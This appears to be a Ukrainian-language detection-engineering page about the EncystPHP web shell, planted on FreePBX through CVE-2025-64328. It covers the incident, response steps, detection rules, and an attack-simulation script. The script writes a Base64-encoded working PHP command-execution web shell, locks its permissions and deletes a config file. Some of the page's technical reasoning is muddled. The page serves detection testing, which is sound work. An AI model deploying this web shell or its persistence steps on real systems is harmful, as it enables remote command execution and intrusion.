EncystPHP: Зброєздатна веб-оболонка FreePBX для стійкого компрометування адміністратора
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
FortiGuard Labs повідомляє про PHP веб-шелл під назвою EncystPHP впроваджений на відкритих інстанціях FreePBX шляхом експлуатації CVE-2025-64328. Імплант дає змогу віддалено виконувати команди, надає права привілейованим користувачам і встановлює багатошарову стійкість через cron завдання та подальші дропери. Діяльність пов’язана з командою INJ3CTOR3 і, схоже, націлена на телекомунікаційні середовища. До опублікованих індикаторів належать зловмисні IP-адреси, домени, URL-адреси та декілька ворожих шляхів файлів.
Розслідування
Слідчі відстежили початковий доступ до помилки ін’єкції команд після аутентифікації в FreePBX Endpoint Manager. Після успішної експлуатації оператор витягує дропер з 45.234.176.202, послаблює дозволи на ключові компоненти PHP, витягує облікові дані бази даних, створює обліковий запис рівня root і додає контрольований зловмисником SSH ключ. Стійкість підкріплюється записами cron, які безперервно отримують додаткові дропери та оновлюють артефакти. EncystPHP також маскується під легітимні файли FreePBX і маніпулює часовими мітками, щоб зменшити видимість під час рутинного триажу.
Стримування
Виправте FreePBX Endpoint Manager, щоб розв’язати CVE-2025-64328 (і будь-які супутні виправлення) якомога швидше. Шукайте несанкціоновані веб-шелл файли, підозрілі розклади cron і новостворених локальних користувачів з правами адміністратора. Блокуйте вихідний HTTP до відомої зловмисної інфраструктури і забезпечте суворі, мінімально необхідні дозволи на каталоги, що стикаються з вебом, і PHP активи.
Відповідь
При виявленні ізолюйте уражений PBX сервер, видаліть артефакти EncystPHP, знищте несанкціоновані cron завдання і скиньте локальні облікові записи та SSH ключі. Перевірте журнали та резервні копії конфігурацій, щоб визначити зміни, потім застосуйте поточні оновлення безпеки та зміцніть веб-інтерфейс. Переконайтесь, що жодні вторинні дропери або механізми стійкості не залишилися, перш ніж відновлювати нормальну роботу телефонії.
Потік атаки
Детекції
Можливий новий обліковий запис для стійкості [Linux] (через cmdline)
Переглянути
Файл cron був створений (через file_event)
Переглянути
Завантаження в підозрілі каталоги (через cmdline)
Переглянути
Можлива спроба виявлення відомих хостів SSH [MacOS] (через cmdline)
Переглянути
Можлива маніпуляція з Base64-кодованими рядками (через cmdline)
Переглянути
IOCs (DestinationIP) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання
Переглянути
IOCs (HashSha256) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання
Переглянути
IOCs (SourceIP) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання
Переглянути
Виявлення записів crontab для постійного завантаження k.php і c дроперів [Linux процес створення]
Переглянути
Розгортання EncystPHP Web Shell і стійкість через CVE-2025-64328 [Linux процес створення]
Переглянути
Виявлення активності EncystPHP Web Shell у FreePBX [Подія файлу Linux]
Переглянути
Виконання симуляції
Передумова: Перевірка телеметрії та базового рівня Pre‑flight Check повинна пройти.
Рішення: Цей розділ детально описує точну реалізацію техніки противника (TTP), призначену для виклику правила виявлення. Команди та наратив МУСИТЬ прямо відображати ідентифіковані TTP і мають мету генерувати точну телеметрію, очікувану логікою виявлення.
-
Наратив атаки та команди:
- Завантажте веб-шелл EncystPHP – Зловмисник створює PHP навантаження, закодоване у Base64, і відправляє його через HTTP POST в веб-інтерфейс FreePBX, що призводить до того, що файл
ajax.phpбуде записано до/var/www/html/admin/views/ajax.php. - Встановіть обмежувальні дозволи – Відразу після впровадження зловмисник запускає
chmod 000 ajax.phpщоб сховати шелл від звичайних користувачів і примусово виконувати його під привілейованим акаунтом веб-сервера (T1222.002). - Видалити критичну конфігурацію – Щоб погіршити виявлення та примусити систему перезавантажитися зі зловмисним шеллом, зловмисник видаляє
/etc/freepbx.conf(T1070.004, T1562.001). - Запустити шелл – Простий HTTP GET до новоствореного
ajax.phpвиконує навантаження, встановлюючи зворотний шелл (T1105, T1059.004).
- Завантажте веб-шелл EncystPHP – Зловмисник створює PHP навантаження, закодоване у Base64, і відправляє його через HTTP POST в веб-інтерфейс FreePBX, що призводить до того, що файл
-
Сценарій регресійного тесту: Скрипт відтворює кроки 1-3 у контрольованій тестовій директорії (
/tmp/freepbx_test) для уникнення впливу на продуктивну систему.# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
Команди очищення:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Тестова середа очищена."